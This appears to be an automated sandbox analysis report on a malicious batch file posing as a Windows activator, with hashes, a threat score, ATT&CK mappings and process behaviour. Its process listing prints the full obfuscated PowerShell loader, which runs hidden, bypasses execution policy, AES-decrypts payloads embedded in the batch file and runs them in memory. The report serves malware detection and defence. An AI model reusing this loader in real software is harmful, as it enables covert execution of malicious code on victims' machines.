fcbc5a9373b2ae956dc3457dfc1a420874b74e8eb2608a18b4af872d081dcdf5

Resubmissions

18-05-2024 03:45

240518-ebe95saf69 10

Analysis

max time kernel
44s
max time network
17s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
18-05-2024 03:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

windowsactivator.bat
Size

3.3MB
MD5

ad2205a76bbb0da48c8a9a08f719ab4a
SHA1

85e6141e85c8aa9fec30185e2c404e7b8eb04ecf
SHA256

fcbc5a9373b2ae956dc3457dfc1a420874b74e8eb2608a18b4af872d081dcdf5
SHA512

999da62f3b0ace84e19044671f74b68e65bb6e844ca01b466c201948e6251f98ba285a6c4a8e966de08bf3cf55f5d5cb5ac72dd111b1ce8374c8d198998448be
SSDEEP

49152:ieZhRUmd8UOahBXe2uA5l8QFsJPj93JFE/zQVsGEd9yMM:it

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1256 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1256 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1256 powershell.exe

pid	process
1256	powershell.exe

pid	process
1256	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1256	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2352 wrote to memory of 1256	2352	cmd.exe	powershell.exe
PID 2352 wrote to memory of 1256	2352	cmd.exe	powershell.exe
PID 2352 wrote to memory of 1256	2352	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\windowsactivator.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2352

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/m+uM7hqICRxp6Rj0SHeKQPPt+zvIT8gCSs7+jKku8M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cfQ3peVRUENpqFR1SQzgkQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tqQsK=New-Object System.IO.MemoryStream(,$param_var); $IcUTR=New-Object System.IO.MemoryStream; $HyFSs=New-Object System.IO.Compression.GZipStream($tqQsK, [IO.Compression.CompressionMode]::Decompress); $HyFSs.CopyTo($IcUTR); $HyFSs.Dispose(); $tqQsK.Dispose(); $IcUTR.Dispose(); $IcUTR.ToArray();}function execute_function($param_var,$param2_var){ $YyUtj=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $VPmsL=$YyUtj.EntryPoint; $VPmsL.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\windowsactivator.bat';$brVkN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\windowsactivator.bat').Split([Environment]::NewLine);foreach ($hBggO in $brVkN) { if ($hBggO.StartsWith(':: ')) { $kvrLw=$hBggO.Substring(3); break; }}$payloads_var=[string[]]$kvrLw.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1256-4-0x000007FEF628E000-0x000007FEF628F000-memory.dmp

Filesize
4KB

Download
memory/1256-5-0x000000001B520000-0x000000001B802000-memory.dmp

Filesize
2.9MB

Download
memory/1256-7-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/1256-6-0x0000000002040000-0x0000000002048000-memory.dmp

Filesize
32KB

Download
memory/1256-9-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/1256-8-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/1256-10-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/1256-11-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/1256-12-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download